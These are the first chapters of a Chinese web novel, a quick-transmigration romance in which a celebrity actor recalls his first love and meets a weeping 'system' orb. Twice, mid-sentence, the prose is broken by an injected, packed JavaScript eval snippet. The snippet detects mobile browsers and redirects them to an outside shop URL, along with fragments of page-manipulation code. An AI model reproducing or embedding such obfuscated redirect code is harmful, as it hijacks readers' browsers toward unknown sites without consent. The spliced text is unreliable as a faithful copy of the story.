《禁止向宿主剧透[快穿]》 1. 机场 1月29日晚8点27分,一架带有天蓝色涂层的宽体式客机准时降落在浦东机场。 跟以往不同的是,今天的机场大厅非常热闹,接机口站满了人,他们虽然井然有序地留出了中间的路,但摩肩接踵的汹涌人潮和数不清的手机、自拍杆、相机还是吸引了许多普通游客注意。 有路人忍不住问:“谁啊,哪个明星搞这么大阵仗。” “我靠我靠——戚驰舟啊啊啊!我刚刚看到粉丝拉的横幅了!” “我的天呐,我们今天运气这么好吗?居然要撞见活的戚驰舟了!!” 其实不怪粉丝和路人激动。 戚驰舟是谁? 娱乐圈这几年新蹦出来的紫薇星。 在他身上,充分印证了什么叫有的人天生就是吃这碗饭的。 戚驰舟并非科班出身。 据说他原本在国外上学,在回国时偶然一次机会陪朋友一起试镜,却因为那张仿佛是按照标尺长的绝佳皮相和那身令人瞩目的特殊气质被导演当场相中,冒着选用新人有可能得罪资方的风险,也要拍板给他定下片中男二的角色,自此一炮而红。 紧跟着,他接连又出演了两部大导的电影作品和一部大IP小说改编的电视作品,其中一部电影帮他拿下三项提名和一座奖杯,另外一部电视作品则直接成为年度爆剧,平台热度破万。 无可挑剔的身高长相,半路出家却也可圈可点的演技,还有令人眼红的运气……这些东西组合在一起,让戚驰舟横空出世,成为现如今娱乐圈中当之无愧的顶流,粉丝无数。 哪怕工作室从来都不想在公共场合引起骚乱,行程也根本隐瞒不住。 而这回粉丝们之所以格外狂热,无外乎是因为他刚刚杀青了一部剧集,这是戚驰舟继半年前闭关拍摄后的首次出现,自然备受关注。 但人多的地方就有可能发生意外。 有个粉丝路上堵车,没赶上跟后援会汇合,眼看着戚驰舟乘坐的飞机已经降落,生怕自己赶不上的她一路闷头狂奔,无意间撞到了一个男人。 女生倏地抬头,条件反射道:“对不起对不起!” 然而却在看见对方的眼睛和被自己撞掉在地上的盲杖时意识到什么:“你……我……”下一秒反应过来,忙不迭将盲杖捡起来递给男人,半晌不知道该说什么才好。 幸亏男人没有在意,探索着接过盲杖以后先是道了声谢,然后弯着眼睛又轻声说了句没关系。 这一笑,哪怕女生是冲着自己偶像戚驰舟来的,也忍不住晃了下神,下意识将目光落在面前这人脸上。 ——这真的是一个很好看的男人。 还有一双非常漂亮的眼睛。 只是可惜,他的瞳仁黯淡,没有焦点,应该是个盲人。 不知道盲人为什么会在这个时间出现在机场大厅,有没有申请机场工作人员协助,女生有些好奇,也不由得想关心两句,然而话还没来得及开口,就听到远处传来一阵人群骚动还有保安维持秩序的声音。 显然,是戚驰舟从接机口走出来了。 女生在原地“啊啊啊”激动地尖叫几声,再也顾不上这个偶遇的盲人,确认对方是真的没有问题之后立刻跑着追随自己偶像去了。 盲人也不在意,握紧手中的盲杖,站在原地,顺着声音往人群所在的方向“望”去,像是好奇。 当然,这只是今天发生在机场大厅的一个小小插曲。 正处在人潮中心的戚驰舟永远都不可能知道自己有个粉丝为了跑来见他意外撞到了人。 老实说,机场也并不是一个适合聚集的地方,但他很清楚这么多人不辞辛苦在不到十度的晚上聚集在这里只不过是为了能看他一眼,因此刻意没戴口罩,一路从闪光灯、快门声和粉丝们的尖叫声中走过。 他今天穿了件深蓝色兜帽卫衣,黑色运动裤。 哪怕没有做任何妆造,细看脸上还有刚刚在飞机上睡觉时留下的印子,1米89的身高,面部折叠度极高的脸,还有那股少年气混合雄性荷尔蒙的气质依然非常抗打。 【啊啊啊——老公看我!】 【戚驰舟刚刚冲我们这边打招呼了!】 【第一次接机,他本人怎么能比电视上长得还帅啊啊啊!】 各种各样的声音不绝于耳,直到坐上保姆车才终于安静下来。 戚驰舟的生活助理文朔坐在后排拍拍胸脯,忍不住松了口气:“我刚才差点以为自己会被挤扁,恨不得是被推着往前走的......现在来给驰哥接机的人真是越来越多了。” “多还不好?”经纪人伍月理了理自己打理精致的头发,“多说明他越来越红了。” 说这话的时候,她忍不住往一上车就靠在中排右座补觉的人身上看了一眼,唇角微掀。 老实说,身为寰亚传媒的第一经纪,当初老板想让她专门负责戚驰舟的时候,她还有些担心。 当然知道戚驰舟是块璞玉,毕竟英俊成这样的人,哪怕连一丁点儿演技都没有,单靠这张脸都能在内娱闯出一片天来。 只不过戚驰舟看上去实在太冷,垂着眼皮望过来的时候,有一种非常浓郁的傲慢与疏离,伍月觉得这种养尊处优的大少爷不一定能好好配合工作。 然而戚驰舟却大大出乎了她的意料。 虽然的确是个骄傲冷淡的性格,身上各种各样的毛病也并不算少,但对待工作认真,对待粉丝温柔,哪怕从不刻意媚粉,也从未做过任何辜负真心的事。 这一路走来,更像是踩了火箭一般,星途坦荡,红到发紫,伍月简直是越看他越觉得满意,越看他越觉得舒心。 一边这样想着,她一边拿出手机,准备趁这会儿时间抓紧处理一下工作。 毕竟刚刚在天上飞了三个小时,落地又遇见粉丝接机,攒了这么长时间,肯定有很多消息未回复—— 紧跟着解锁手机,一连串消息弹出来,看到上面的内容,伍月先是一愣,然后感觉自己前一秒看戚驰舟哪哪都无可挑剔的心情瞬间喂狗,整个人两眼一黑。 “怎么没告诉我飞机起飞前你干了什么?”深吸口气,伍月转向戚驰舟所在的方向,强压着火气咬牙道:“怪不得刚才我总觉得好像听见有粉丝在说微博还有纹身的事,戚驰舟,我之前怎么跟你说的?我们根本没必要跟那种人一般见识,以你现在的咖位——” 听见这话,戚驰舟终于睁开眼睛,但没开口。 坐在后排的文朔不知道什么情况,连忙把自己的手机也拿出来看,只见#戚驰舟回复评论#、#戚驰舟纹身#、#戚驰舟手撕CP#这几个词条正高高挂在热搜上面。 点进热搜词条,原来是三个小时之前,戚驰舟亲手发了一条微博,就一行字。 @戚驰舟:想多了,纹身是我四年前在温哥华找人做的。 眼看这会儿已经破百万的转赞评,文朔忍不住清了清嗓子。 ——这件事其实非常简单。 因为戚驰舟专心进组拍摄,久无曝光,为了维持热度,工作室时不时会发布各种物料,这些都是常规操作。 但这些物料显然不够满足粉丝们的需求,见大家仍然嗷嗷待哺,他们在几天前干脆出了一条剧组工作的日常集锦,从戚驰舟早上起床开始剪辑,一直到他收工回酒店洗澡结束,时长一共有二十分钟。 然而就是这条视频出了问题。 戚驰舟身边的工作人员都知道他左手大臂内侧有个纹身,不过平时基本没有机会露出,拍电影或电视剧时也会用遮瑕膏给挡住。 可那天,负责进行视频剪辑的文朔刚好找到戚驰舟早上裸着上身从衣柜里拿衣服的画面素材。 当时他全部注意力都放在戚驰舟腰部和腹部恰到好处的肌肉线条上面,美滋滋在心里想着,这条Vlog一发出去,播放量肯定能再创新高,粉丝们也一定非常满意。 可他万万没有想到,习惯了拿放大镜看视频的粉丝们不仅在评论区里嗷嗷尖叫,还非常眼尖地注意到了戚驰舟身上的那个纹身。 甚至有粉丝专门截图放大,修复清晰度,就为了看清纹身的图案。 ——那是个非常简单的笑脸符号。 跟戚驰舟一贯冷淡疏离的气质完全不符。 因此,当天#戚驰舟纹身#直接登上热搜,无数粉丝好奇这究竟是真的纹身还是贴纸,有没有什么特殊含义。 当然,这还只是小事。 戚驰舟虽然很不高兴他的纹身在这种情况下被曝光,但也没说过文朔什么, 问题就在于,这个纹身曝光当天,有个演员模棱两可地在自己发布的微博文案上面也加了一个笑脸。 那个演员名叫夏熠,自出道以来走的一直是阳光开朗的邻家男孩路线,之前在电视剧中饰演过戚驰舟的弟弟。 当时就已经有观众在磕CP,这条微博一发出来,大家的关注度瞬间匀了一小半到夏熠身上。 什么“我磕的CP不会成真了吧”、“戚驰舟夏熠笑脸是暗号还是巧合”、“《归途》居然到现在居然还有售后”等等诸如此类的热度一时间居高不下。 甚至有营销号脸连夜剪了他们的拉郎视频,许多CP粉高呼好甜。 明眼人都看得出谁在硬蹭,可夏熠这一手做得实在是隐晦至极,似是而非,真论起来,他其实什么都没有说,什么都没有做,全是粉丝们圈地自萌,捕风捉影。 澄清吧,事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147178|196402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没到这个地步不说,真要是上纲上线,对戚驰舟的形象也没有好处。 不澄清吧,这种手段就像只苍蝇,不会咬人,但总嗡嗡嗡在眼前飞的很膈应人。 眼看戚驰舟这两天的情绪明显不稳,伍月虽然也忍不住觉得恼火,但看在这件事的影响其实没那么大的份上,还是觉得睁一只眼闭一只眼算了,没想到戚驰舟居然直接发了微博。 伍月实在不能理解:“我不是说了这件事撑死也就两天热度,他再蹭也蹭不出什么水花吗?咱们不做任何回应,当他像小丑一样不存在是最好的解决办法——” 戚驰舟直接打断:“那是因为他得寸进尺。” 伍月蓦地一顿,“什么?” 刚才打开手机就被戚驰舟先斩后奏这一手给气得两眼一黑,这会儿下意识顺着他的话认真去看,发现原来在他们登机的那段时间,夏熠又更新了一条九宫格日常照片。 这回倒是什么文案都没有配,但有一张张开手臂冲镜头微笑的照片,手臂间露出了一个跟戚驰舟身上纹身非常相似的笑脸图案。 粉丝们的眼睛自然是雪亮的。 这条微博发出去的瞬间就有人注意到这处细节。 【我去,秀这么明显的吗?】 【不信谣不传谣,求别蹭我老公流量。】 【边缘有点反光,看起来像贴纸啊。】 【但是相似度高成这样......这两人不会真谈了吧?我实在是有点害怕。】 【我天,补药啊!我可以有男朋友,我老公必须单身!】 【所以,qcz身上是情侣纹身???】 不到几分钟时间,评论就已经破了三万。 要知道夏熠顶多是个二线,这样的关注度究竟从何而来,自然不用多说。 再仔细去看发博时间,居然刚好卡在戚驰舟准备起飞的时候。 饶是在娱乐圈见惯了各种手段的伍月一时间都无语到有些想笑,觉得夏熠为了想红,简直是有些失心疯了,自然也瞬间理解了戚驰舟直接发博的原因。 要不是他的回应干脆利落,他们这一行人在飞机上那三个小时,还不知道舆论会发酵成什么样子。 现在好了。 一句“纹身是我四年前在温哥华找人做的”,那些乱七八糟的谣言不攻自破。 四年前戚驰舟连娱乐圈都还没进呢,谁认得夏熠是谁? 而且,继戚驰舟发博之后,万万没想到自己暗中炒作赚取关注会翻车的夏熠也急匆匆删了那条九宫格。 庆幸戚驰舟这回先她一步察觉了夏熠那边带的节奏,伍月心头的火消了大半,联系完公关团队,交代好后续的控场工作之后,还是忍不住苦口婆心:“祖宗,你现在是娱乐圈当之无愧的顶流,多得是像夏熠这样的艺人想钻空子,找话题,炒噱头跟你扯上关系来博取眼球,以后这些事情第一时间跟我同步,让工作室来解决,你不用自降身价......” 祖宗本人依然冷着脸没有说话。 事实上,进娱乐圈这么长时间以来,类似的套路戚驰舟的确是已经见多了,看惯了,甚至已经称得上是麻木,根本激不起一点波澜了。 唯独这次不同。 天知道他看见有粉丝在评论区猜这会不会是他跟夏熠的情侣纹身,以及这纹身是不是他专门为夏熠纹的有多么生气。 夏熠算个什么东西? ——在娱乐圈磨练几年,戚驰舟自认自己已经比从前成熟许多,还是控制不住心头火起。 他当然知道把这件事交给伍月处理,会有更好的,更合适的,更稳妥的解决方法。 但他还是这么做了。 只不过那条微博发出以后,戚驰舟的心情却无可避免地变得更差,一路上只能靠睡觉来调节情绪。 不知道戚驰舟心里在想些什么,但因为他的脸色实在不太好看,已经跟公关团队打完电话的伍月非常敏锐地察觉到一点什么:“以前没看你这么较劲,怎么,这个纹身有什么特殊意义?” 戚驰舟想都不想就否认:“没有。” “没有吗?”伍月实在是有点不太相信,“我们之前可是约法三章过的,你有任何情况都——” 戚驰舟非常平静地重复一遍:“我说没有就没有。” 他没有告诉伍月。 如果非要说有的话,无非是六年前的冬天,他有段初恋戛然而止。 对方走得干脆利落,头也不回,而他却久久不能释怀。 四年前有次喝多,等第二天清醒过来,手臂内侧就多了一个纹身。 现在,这么长时间都过去了。 就连戚驰舟自己都不知道,这个纹身究竟还有什么意义。 2. 回忆 戚驰舟身上的气压实在太低,伍月狐疑地看他一眼,最终还是没再追问。 毕竟她比谁都更清楚,戚驰舟的世界里除了他的工作、赛车和他那只宝贝猫,别的什么都没,简单干净到令人发指。 尤其是她亲眼看着这几年不知道有多少年龄与戚驰舟相当的女星,甚至男星在私底下向他发出暧昧信号,他全都视而不见。 有时候连伍月都觉得纳闷,忍不住问:“我发现......你是没有世俗的欲望吗?” 戚驰舟:“你想让我跟其他人一样,一闲下来就去谈恋爱,约炮,睡粉?” “......”伍月到了嘴边的话立刻拐弯:“那倒也不是。” 不仅如此,因为戚驰舟过于敬业,几乎全年无休,伍月曾经想劝他休息一段时间,不要把自己逼那么紧,戚驰舟却甩来一句,“有什么好休息的。” 语气一如既往地硬:“反正闲着也是闲着。” 当粉丝们心疼他工作强度太大,身体会不会吃不消之类,戚驰舟的态度也是一样。 一句“我觉得我还没红到可以停下来的地步”直接出圈。 虽然营销号及大众对此言论褒贬不一,但根据寰亚市场分析部门提供的数据,戚驰舟这种风格吸到的粉,绝对比招到的黑多。 综上所述,哪怕戚驰舟平时脾气臭了一点,毛病多了一点,做事冲动了点,伍月对他依然非常放心。 一个笑脸图案的纹身而已。 就算真有不可言说的特殊含义,也早就成过去了。 于是,刚刚那个话题就这么被揭了过去,只不过戚驰舟自上车以后好不容易重新酝酿的那点睡意彻底没了,他索性靠在椅背上刷起手机。 戚驰舟的微博账号一直是他自己管理,很少让工作人员登陆。 或许是出于强迫症的缘故,他只要闲下来都会点进后台去看消息,艾特、评论、私信,一样不落,偶尔还会挑选头像和ID看得顺眼的粉丝回复。 此刻,因为三小时前那条微博的缘故,账号后台已经炸了。 有无条件支持戚驰舟手撕夏熠觉得身心舒畅的,有希望他不要被这种烂事影响心情的,有满屏都是“啊啊啊”叫哥哥或者老公向他花式告白的。 还有很多夸纹身图案好看,试图挖出他究竟是在温哥华哪个工作室里做的,想要get同款的。 几十万条消息,哪怕一目十行地看也要花很长时间。 随着拇指快速在屏幕上方滑动,微弱的光线将戚驰舟流畅锋利的轮廓线条照亮,但看不清他什么表情。 “马上就要过年了,”又回复完几条工作消息的伍月重新望向戚驰舟:“年前一共就一个品牌活动,两个杂志拍摄还有一个晚会录制。你之前在剧组三餐都不规律,明天我让营养师过来,咱们把状态重新调整一下。” 见戚驰舟半天都没有动静,伍月叫了他一声,“跟你说话呢,听见了吗?” “听见了。”戚驰舟将手机重新锁屏,“工作没问题,营养师就算了。” 他最讨厌吃那些没有味道的鸡胸肉、西兰花还有连酱油都不给加的水煮虾。 想到这里,戚驰舟不受控制地皱了皱眉,终于流露出一点鲜明的嫌弃情绪。 “那可不行,”伍月想都不想,“营养师是必须的,而且你每天吃完最好是拍照打卡,不要像之前那样蒙混过关,背着我们悄悄拿鸡胸肉去喂剧组的猫,把那些猫都喂挑食了——” “......” 实在不想听她揭自己的短,戚驰舟不轻不重地咳了一声,接收到信号的文朔忍不住偷笑,同时立刻配合坐在旁边的造型师一起站出来岔开话题:“对了月姐!我突然想起来......” 伍月的注意力一拉就跑,而逃过一劫的戚驰舟则偏过头去看窗外一闪而过的城景与街景,听他们之间的话题从工作室筹备的新年礼盒聊到公司年会,再聊到放假安排。 然后不知道怎么,就转到伍月的私人感情上面。 “上个月就分了......也不能算分吧,”伍月:“没在一起,顶多算及时止损。” 造型师:“啊——之前看你办签证,还以为过年你们准备一起出国呢。” “是啊,”伍月说:“本来是这么想的,谁知道提前结束了呢。” “为什么提前结束?”文朔好奇。 “成年人的世界,哪有那么多为什么,”伍月耸了耸肩,“就是突然发现大家想要的生活不一样,还是回归到各自的轨道更好。” “好可惜,”造型师道:“陈医生长得还挺帅的。” “没什么好可惜的,”伍月啧了一声,直接往戚驰舟的方向看了一眼,“再说了,天天对着这张脸,看别人再帅也就那样。” 造型师“噗”地笑出声来。 “也不对——”伍月说到一半又停了下来:“他们那个诊所还真有一个刚毕业的心理咨询师,长得一点不比明星差。虽然跟驰舟不是一个风格,但当时第一眼看得我眼前一亮,差点准备上去递名片,问他有没有兴趣出道” “然后呢然后呢?” “然后啊,”伍月顿了顿,用一种很难形容的语气说:“然后我才发现他居然是个盲人,什么都看不到的那种。” “啊?”造型师跟文朔都愣了一下,“这么可惜。” “是啊,挺可惜的,不过也很励志。” 伍月忽然想到什么,“哎,我当时好像还拍了一张照片.....”说着她重新解锁手机,“你们要不要看?他笑起来真特别好看。” “要要要。”两个坐在后排的人同时凑到中排。 戚驰舟完全没兴趣加入这个话题,反倒是被他们吵得耳朵疼,索性戴上耳机,将深蓝色的兜帽戴好。 眼前陷入一片黑暗的时候,脑海中不由自主浮现出一张久违的脸。 他想,这有什么可稀奇的。 笑得好看的人他也认识一个。 就是那个人实在是可恶至极。 戚驰舟嘴角半挑不挑地动了一下,面无表情将耳机声音调大,强迫自己不再去想,然后闭眼假寐。 这个时间晚高峰已经过去,只不过外环发生了一起事故导致堵车,等车停在戚驰舟家楼下已经十一点了。 这套面积约五百平的房子是他三年以前买的,私密性很好,一个人住虽然显得有些空旷,但艺人的工作性质令他整天飞来飞去,在家的时间倒也不多。 戚驰舟开锁进屋,打开灯,漆黑的客厅瞬间明亮起来。 听见声音,有只纯白色的曼基康从客厅的猫爬架上探出头,非常警觉地观察情况,盯着戚驰舟看了半天,在终于将他认出来以后,才颠颠地跑过来,用脑袋蹭他的手。 这只猫戚驰舟养了六年。 他从国内带回温哥华,又从温哥华带回国,这几年每次进组也全都把它带在身边。 这次本来应该跟他一起回来,结果托运手续办好之后,剧组临时发现还有几个镜头需要他配合补拍,为了避免麻烦,戚驰舟索性让另外一个助理乔昕带着猫先回上海。 这两天,乔昕每天都会过来喂猫,梳毛,陪玩。戚驰舟看群里发的视频,感觉短短几天时间,这个小家伙对乔昕比对他还亲,不由得有点不爽。 但猫显然不知道他心里在想什么,不停冲主人撒娇,喉咙里还不住发出呼噜呼噜的声音,戚驰舟无法,只好伸出手来抓它下巴。 不知道是不是他左边手臂的纹身图案曝光,以及今天这条微博的缘故,戚驰舟根本难以抑制地,无法自控地,比平时更多地想起陶与乐。 ——没错。 陶与乐就是他年幼无知时戛然而止的那段初恋。 戚驰舟这个人很要面子。 因为嫌丢脸,嫌愚蠢,嫌幼稚,所以有些事他永远不可能告诉别人,有些话也无论如何都说不出口。 于是,他面无表情地盯着四脚朝天,看起来无忧无虑的猫崽子很久,冷冰冰地问它:“你说他会不会也看见热搜?” “看见以后会不会自作多情地认为这个纹身和他有关?” 纯白色的曼基康扭了扭身子,眯着眼睛呼噜一声,完全不知道戚驰舟在说什么。 “......”戚驰舟回过神来,忽然觉得自己是真的非常傻逼。 他黑着脸站起身来,准备直接去浴室洗澡。 可到了浴室,看着镜子里自己的脸,他却再一次不受控制地想起过去。 戚驰舟从小在国外长大。 但因为妈妈在他很小的时候就生病去世,怕国内的外公外婆孤单,他每年暑假都会回来陪他们住上一段时间。 老实说,这件事原本是戚远山对他的要求,久而久之也变成了戚驰舟的习惯。 只不过那时候戚驰舟进入青春期以后,脾气越发不好,人也越发骄傲,不乐意跟同龄人玩。 眼看着他每天连打篮球都一个人,外公外婆心疼孙子,觉得这样下去不行,忍不住想给他找个玩伴。 就这样,戚驰舟在十五岁那年见到了陶与乐。 他是陶管家的孙子,年纪比戚驰舟要小一岁,据说从小就跟爷爷一起生活,是个乖巧懂事又讨喜的性子。 但戚驰舟不这么觉得。 因为第一次见面时,陶与乐居然跟着陶管家一起叫他少爷,他忍不住皱起眉头,“你是在演电视剧吗?” 当时陶与乐睁大眼睛,问他:“那我应该叫你什么?” 戚驰舟立刻觉得他这个人不太机灵,可对上那双眼睛,还是臭着脸说出了自己的名字。 后来有事实证明,陶与乐这个人果然很笨。 比如,他好像完全看不懂戚驰舟其实只想一个人待着的暗示,总像个尾巴一样跟在他的身后,打游戏时替他喝彩,进球时为他鼓掌,就连戚驰舟随手做的一张奥数卷子,都值得他大惊小怪,夸个不停。 比如,那个暑假戚驰舟半夜里发高烧那天,不想被外公外婆知道,陶与乐却拿着温度计大惊小怪,喋喋不休戚驰舟嫌吵,为了把人支开,随口说了一个口味的冰淇淋想吃,让陶与乐下楼去帮他拿来。 没想到冰淇淋刚好没了,陶与乐居然硬生生在凌晨一点,从郊区别墅跑到二十四小时营业的便利店,花了一个多小时帮他把东西给买回来。 还比如,陶与乐因为没有父母在身边的事被人欺负,戚驰舟发现以后没忍住冲过去狠狠将那些人打了一顿,连带着自己的手也受了伤。 陶与乐被欺负的时候明明没哭,看到他流血以后却猛地一下掉了眼泪,眼泪砸在戚驰舟的手背上,烫得他手足无措,一时间竟然不知道该怎么才好。 后来,十五岁的戚驰舟板着脸接纳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147179|196402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这个十四岁的小尾巴。 十六岁、十七岁......戚驰舟每年暑假回国的理由在不知不觉间又多了一个。 至于这种感情究竟是怎么变的质,戚驰舟已经记不清了。 或许是随着陶与乐一天天长大,没以前那么笨了,人看着也顺眼多了。 又或许是陶与乐那双黑白分明的眼睛里总能看见他的倒影。 笑着叫他戚驰舟的样子,让戚驰舟总控制不住听见自己的心跳。 ——可明明是陶与乐先亲的他。 是陶与乐胆大包天地先亲了他,戚驰舟才会忍无可忍地攥着他的胳膊回吻过去,才会在只有十八岁的年纪就开始计划将来。 然而也是陶与乐先要撤退。 或者更准确一点来说,他跟陶与乐的开始与结束,都始于同一件事。 那年冬天,陶与乐的爷爷,在周家干了十几年的陶管家突发心梗,摔了一觉之后就再也没能醒来,收到消息,正在温哥华的戚驰舟第一时间买了最快的一趟航班回国。 从温哥华到南城,直飞航班十二个小时四十五分,而他只用了十六个小时,就出现在陶与乐的面前。 在戚驰舟的印象里面,陶与乐长大以后很少会哭,总是在笑。 有时候是乖巧的笑,有时候是得意的笑,有时候是狡黠的笑,总之,他的眼睛总是弯成一个月牙,让时常板着脸装酷的戚驰舟也忍不住嘴角上扬,同时在某个瞬间悄悄升起非常恶劣的想法—— 比如,他很想欺负陶与乐,想让他哭,想让他眼睛泛红。 可那天,当风尘仆仆赶回来的戚驰舟与陶与乐对视,看到他通红的眼睛和溢出来的眼泪,却忽然感觉到一种难以言喻的刺痛。 他发现他后悔了。 原来人总是叶公好龙,他其实根本就不想看陶与乐哭,他想一直一直看陶与乐笑。 再后来,就跟前面说的一样,陶与乐趁戚驰舟睡觉时在他嘴唇上偷偷亲了一口,被其实并没有睡着的戚驰舟抓个正着。 于是,陶与乐失去了最爱的爷爷,却在同一年多了一个名叫戚驰舟的男朋友。 不过戚驰舟在国外上学,没办法长时间待在国内。 哪怕很不情愿,他也只能耐着性子,跟陶与乐谈一场隔着八千八百公里以及十六小时时差的跨国恋爱。 这场恋爱没谈多久。 就在戚驰舟发现陶与乐是真的很不会照顾自己,独自在家竟然因为走神连走路都能摔跤,连额角都被磕青,皱着眉头去找戚远山,认真跟他探讨回国念大学的可行性时,接到了陶与乐的电话。 那是戚驰舟迄今为止最不愿意回忆的一个电话。 陶与乐告诉他,因为爷爷去世的事,他妈妈回来找他了,问他愿不愿意跟着她一起生活。 戚驰舟第一反应先是皱眉,接着问:“然后呢?” “我......”陶与乐在电话里停顿了一会儿,轻声说:“我很想跟她一起生活。” 一般这种话的后面都会跟着但是。 果不其然,陶与乐很快就说了但是。 他说,但是他妈妈发现了他们之间的关系,发现他是一个同性恋,非常生气,非常失望,也根本无法接受,所以—— 戚驰舟说:“所以要求你跟我分手?” “对不起,”陶与乐的嗓子哑了,默认了他的猜测以后,在电话里向戚驰舟道歉:“我不想让她伤心——” 戚驰舟懂了。 后来陶与乐陆陆续续又说了什么,他其实没有听清。 他攥着手机站在家里的旋转楼梯上面,很想问陶与乐知不知道自己在说什么。 记不记得是你先亲的我。 想说戚远山已经同意他可以回国去念大学。 想说他们可以在学校旁边买套房子。 想说他前几天在国内的猫舍里选了只猫。 想说的话很多,还想生气,想质问,想发火。 但是到最后,一贯都很骄傲很任性,脾气很坏的戚驰舟只是深吸口气,说:“陶与乐,我给你一分钟把刚才那句话给收回去。” 陶与乐从来都不怕他生气,也不怕他冷脸,但很怕他用这种语气说话。 唯独那天,陶与乐到最后都没有把要分手的话给收回去。 他只是在电话里用很小也很可怜的声音对他说:“戚驰舟,我求求你啦。” ...... 思绪回笼。 戚驰舟面无表情地望向镜子里的自己,思维有些发散地想: 陶与乐现在过得好吗?跟妈妈在一起生活的开心吗? 有没有片刻为自己当初的决定感到后悔? 打完那通电话以后立刻搬走,走得无影无踪的时候在想什么? 是不是急着要和他划清界限? 这些年自始自终都杳无音信,现如今看见满世界都是他的新闻、视频、广告时什么感受? 有没有想过...... 最后这个念头出现在脑海中的瞬间,戚驰舟及时打断,并且很轻地“嗤”了一声。 他打开淋浴的开关准备洗澡,觉得自己有时候是真不争气。 然而就在水声响起的瞬间,戚驰舟却突然听见一道声音: “呜呜呜呜......那是因为他当时突然看不见了!” 3. 系统 戚驰舟的第一反应是自己幻听。 毕竟他从来都是独居,这一整层楼都是他的,好端端的怎么会听见有人说话? 而且,什么叫“那是因为他当时突然看不见了”? 这个“他”是谁? 但下一秒,一个长着翅膀的光球就凭空出现在他面前,戚驰舟被吓了一跳,几乎不敢相信自己的眼睛,脱口而出就是:“什么东西?!” “呜呜呜......我才不是东西。” 只见这个长着翅膀的光球依然抽抽嗒嗒地哭着,告诉他:“我是来自时空管理局的003号系统。” 什么叫时空管理局? 什么是003号系统? 戚驰舟一时间匪夷所思:他是在浴室里待的时间太长,大脑缺氧了吗? 一个金属球不仅会发光,长翅膀,会说话,还他妈会哭? 到底是他疯了还是这个世界疯了? 而刚刚被时空管理局投入这个世界的003号系统在十分钟前接收完剧情以后,控制不住替戚驰舟跟陶与乐之间的结局感到悲伤,完全忘记了自己的任务,以及它突然出现可能造成的影响,直接飞到戚驰舟的面前,迫不及待向他剧透。 “时空管理局是位于高级位面,负责监控和维护三千小世界的管理机构,而你们处在的是一个名叫《爱人就错过》的小说世界。” 然而,当悲痛欲绝的003抽噎着为戚驰舟解释时空管理局的含义时,戚驰舟耳朵里听到的,却已经变成了像是接触不良的收音机里发出来那种断断续续,滋滋啦啦的电流声。 当003再一次重复“陶与乐当初跟你分手不是因为他想跟妈妈在一起生活,而是因为他突然看不见了”,戚驰舟听到的依然是“......&*%¥#@!......”这样毫无意义且无法辨别的混乱音节。 戚驰舟的头上缓缓冒出一个问号。 于是,眼看着空中这个自称003号的金属光球还在发声,戚驰舟实在忍不住了,拧着眉头打断他道:“叽里咕噜说什么呢?信号不好?” “能不能像刚才一样,说一点我能听懂的话?” 说、说点能听懂的话? 已经慷慨激昂输出了一大堆关键信息,中间连口气都没顾上喘一下的003愣了一下。 它原本以为刚才那些话说完以后,始终被蒙在鼓里,对真相一无所知的戚驰舟一定会受到巨大震撼,然后第一时间,义无反顾去将陶与乐给找回来。 然而此时此刻,戚驰舟的脸上不仅没有震撼、伤痛、恍然,反倒是充满了迷惑、不解,还有莫名其妙。 这......这不对啊。 于是003煽动两下翅膀,飞到与戚驰舟视线平齐的地方,试探道:“难道你不喜欢陶与乐了?” 这句话传到戚驰舟的耳朵里面,被自动翻译成:“......!&@~¥¥%*^......” 003又问:“我刚才说了那么多,你为什么一点反应都没有?” 戚驰舟再一次听见:“......&*%¥#@!......” 意识到这个光球好像有点智障,戚驰舟拧了拧眉。 他也不知道自己究竟是不是失心疯了,遇到眼前这种完全违反科学的超现实情况,不仅没有立刻逃跑,报警,反倒耐着性子在这里陪它浪费时间。 干脆拿出手机解锁,戚驰舟打开录音,怼到这颗光球面前,言简意赅道:“再说两句。” 003:“?” 它有些莫名其妙地顺着戚驰舟的话,挥了挥翅膀冲手机打了一个招呼:“……你好?哈喽?能听得见吗?” 戚驰舟眉心跳动,按下暂停键,干脆利落地将刚才录到的内容放给它听。 听见里面传来乱七八糟,根本无法辨别的声音,003整个球都是一抖,大惊失色:“我说话怎么成这样了?!” 等反应过来之后,才后知后觉想起它从空间站出发之前的事。 原来,003因为废话实在太多,屡次遭宿主投诉,时空监察长罚它禁言,进入新的小世界执行任务,要求它什么都不要说,什么都不要做,只需等待命运的终局到来,然后按照流程收取天道之力即可。 饶是003竭尽全力为自己辩解,监察长也没有收回与禁言有关的处罚。 最终还是看在它实在可怜巴巴的份上,松口允许它任务期间最多可以说三句话。 “改改你这话唠的毛病......等到小世界的终局到来,在任务结束以后,跟宿主道别的时候用吧。”监察长是这么说的。 现在,003回忆了一下...... “呜呜呜......那是因为他当时突然看不见了。” “我才不是东西。” “我是来自时空管理局的003号系统。” 003惊恐地发现不到一分钟时间,它就已经把三句话的额度给用光了! 难怪后面无论它说什么,戚驰舟都无动于衷,反倒是越来越迷惑不解。 003:“!” 话唠果然要不得。 它急得在空气中直转圈圈,一时间不知道该如何是好。 要知道,在这本名叫《爱人就错过》的小说当中,作者为了写出能够让读者痛苦一生的文字,不仅在戚驰舟十八岁那年让陶与乐突然查出眼底病变失明,将他们强行分开,还在六年后制造了一次意外。 一向过目不忘的003清楚记得原著中的一段内容: 